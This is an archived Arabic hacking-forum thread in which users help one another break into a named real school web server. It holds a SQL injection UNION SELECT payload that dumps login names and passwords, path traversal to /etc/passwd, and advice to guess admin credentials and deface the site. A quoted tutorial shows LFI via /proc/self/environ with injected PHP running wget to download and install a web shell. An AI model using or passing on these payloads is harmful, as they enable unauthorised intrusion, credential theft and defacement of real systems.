:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/forumdisplay.php?f=343)
-   -   ارجوا العناكب الدخول (http://www.vbspiders.com/vb/showthread.php?t=63049)

Mezo Shams 06-27-2012 01:23 AM

بسم الله الرحمن الرحيم انا عرفت يوزر الموقع
عايز اركب اندكس دلوقتى انا استخدمت البرنامج عشان اعرف لوحة التحكم
طلطلعى اية

دلوقتى انا حطيط الموقع فى البرنامج طلعلى اية
images
دة ملف وفية صور
وطلعلى اسم الموقع اتكيت علية طلعلى
index_defaultpage
index.html
lablec.html
main.php
submenu.php
رابط الموقع اهوة
http://szerver2.berzeviczy.sulinet.hu/
وبعدين كدة مسار لوحة التحكم اعرفة ازاى ولا اعمل اية

ارجوا الرد اصل مفيش شرح فى دورة الحقن خالص ارجوا حد يعملها فيديو من صاحب الدورة

mido868 06-27-2012 04:01 AM

رد: ارجوا العناكب الدخول
 
اقتباس:

المشاركة الأصلية كتبت بواسطة Mezo Shams (المشاركة 440270)
بسم الله الرحمن الرحيم انا عرفت يوزر الموقع
عايز اركب اندكس دلوقتى انا استخدمت البرنامج عشان اعرف لوحة التحكم
طلطلعى اية

دلوقتى انا حطيط الموقع فى البرنامج طلعلى اية
images
دة ملف وفية صور
وطلعلى اسم الموقع اتكيت علية طلعلى
index_defaultpage
index.html
lablec.html
main.php
submenu.php
رابط الموقع اهوة
http://szerver2.berzeviczy.sulinet.hu/
وبعدين كدة مسار لوحة التحكم اعرفة ازاى ولا اعمل اية

ارجوا الرد اصل مفيش شرح فى دورة الحقن خالص ارجوا حد يعملها فيديو من صاحب الدورة


اخى هل انت متأكد من هذا الرابط ،،
يرجى التأكد من الرابط الخاص بالموقع الذى حقنته او وضع المسار المصاب حتى نتأمد اذا كانت هناك لوحة تحكم لهذا الموقع ام لا

Mezo Shams 06-27-2012 04:41 AM

رد: ارجوا العناكب الدخول
 
رابط اهوة اخى

http://szerver2.berzeviczy.sulinet.hu/submenu.php?id=-1 UNION SELECT concat(login_name,0x3a,passwd),2,3,4,5,6,7,8+from+ users--


ماشى اخش الرابط اهوة قولى اعمل اية بقى احط اية فى البرنامج ولما احطة هيطلعلى اية عشان بس اتعلم

خالد سعودي 06-27-2012 04:49 AM

رد: ارجوا العناكب الدخول
 
http://szerver2.berzeviczy.sulinet.hu/icons/
http://szerver2.berzeviczy.sulinet.h.../src/login.php
http://szerver2.berzeviczy.sulinet.h...configtest.php
http://szerver2.berzeviczy.sulinet.h.../etc/passwd%00
انا محقنت الموقع ماني فاضي حقن انت حقن بشكل جيد
هذا اقدر افيدك فيه
بحث عن في الموقع ممكن يكون دخوله الادمن نفس الاعضاء تري ماتصفحت الموقع بشكل جيد عندك ثغرة خمن على الفتي بي ابحث عن الايميل ذكانت حقنت الموقع موجود دخولة
فمان الرحمن
اختراق موفق

Mezo Shams 06-27-2012 05:22 AM

رد: ارجوا العناكب الدخول
 
اولا انا اتعلمت دورة الحقن ازاى معرفشى ويقف ادامى المهم انا دلوقتى الى انا عملتوا
اكنى معملتهوش اصل الاميل والباص مو يفتح فى لوحة التحكم وانا دلوقتى اعمل اية
كدة انا نتجتى صفر فى %
بس الى انا عرفتة ان الاصدار 5
ما لية تخمين الى لية اصدار4
والموقع دة اصدار 5
ممكن تقولى ازاى لما اخترق موقع اتاكد انو الباص يفتح اما لا بظبط هوة الاسم والباص الى انا كتبة غلط

خالد سعودي 06-27-2012 05:36 AM

رد: ارجوا العناكب الدخول
 
انت حقنت الموقع طلعت الباس واليوز صح
انت بحث عن الايميل صاحب الموقع في الجدوال اولا والثاني قولك خمن على الفتي بي يعني ../../../../../../../../../../etc/passwd%00 هذا ثغرة غير sql
موفق

MaFia 06-27-2012 11:56 AM

رد: ارجوا العناكب الدخول
 
جرب اكتب المعلومات يدوي مش كوبي وباست
اتاكد ان الجدول بتاع معلومات المدير صحيح
استعمل برنامج الهافج
الموقع به ثغره LfI افضل من Sql

اقتباس:

المشاركة الأصلية كتبت بواسطة Dr.abolalh (المشاركة 1384738)
السلام عليكم ورحمة الله وبركاتة

كيفكم اخواني اتمنا الجميع بخير وصحة وعافية

حبيت اطرح هاذا الشرح لجل الافادة واتمنا انه يفديكم

المتطلبات
1. FireFox [download]
2. Tamper Data [download]
والموقع المراد التطبيق علية

انا جبت لكم كم موقع

http://pastie.org/private/7fbtucb1obczki7nk0xvxa


طيب نكمل

في البداية لازم نقدر نقرى proc/self/environ
http://im28.gulfup.com/2012-05-16/1337163837101.png
اضغط هنا لترى الصورة بحجمها الطبيعى

بعد مايضبط الشغل نروح نشغل اداة تمبلر داتا
http://im28.gulfup.com/2012-05-16/1337163837352.png
بعد ماتشتغل معنا الاداة
نروح لم

http://im28.gulfup.com/2012-05-16/133716383713.png

بعدها نروح لم الموقع حقنا ونعمل تحديث وراح تخرج لن هل النافذة

http://im28.gulfup.com/2012-05-16/133716383894.png

بعدها نروح للمربع هاذا


http://im28.gulfup.com/2012-05-16/1337163838475.png

http://im28.gulfup.com/2012-05-16/1337163838266.png
في هاذا المربع وضعنا
<?php phpinfo();?>


عشان نقرة phpinfo ونضمن الشغل

بعد ماتضغط اوك راح تخرج لك كم نافضة اضغط على الكل

http://adf.ly/673135/http://www.gulf...Xrrnldi00d74cc

بعدها ماتضغط وتتخطى

يفتح الموقع ويتم قراة phpinfo

http://im28.gulfup.com/2012-05-16/1337163838198.png

ومنها راح نشوف ادوال والسيف مود وغيرها امر مهم قبل رفع الشل

http://im28.gulfup.com/2012-05-16/1337163838519.png

<?exec('wget http://www.site.com/shell.txt -O shell.php');?>

هاذي هي الدالة exec الي راح نسخدمها لسحب الملف طبعن تقدر تغيرها اذا كانت ممنوعه
الى chmod
system

ومع شوي تطوير راح تضبط

بعدها

نروح نشوف

راح يفتح الموقع مثل ماكان

طيب لما تنتهي من الحقن مثال هل الموقع
http://www.site.com/index.php?page=/etc/passwd
نمسح
index.php?page=/etc/passwd

ونحط
http://www.site.com/shell.php
http://im28.gulfup.com/2012-05-16/13371638388810.jpg

وباذن الله راح يتم الرفع الشل

اتمنا الشرح ماهو مكرر

اخوكم Dr.abolalh



الساعة الآن 04:50 PM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0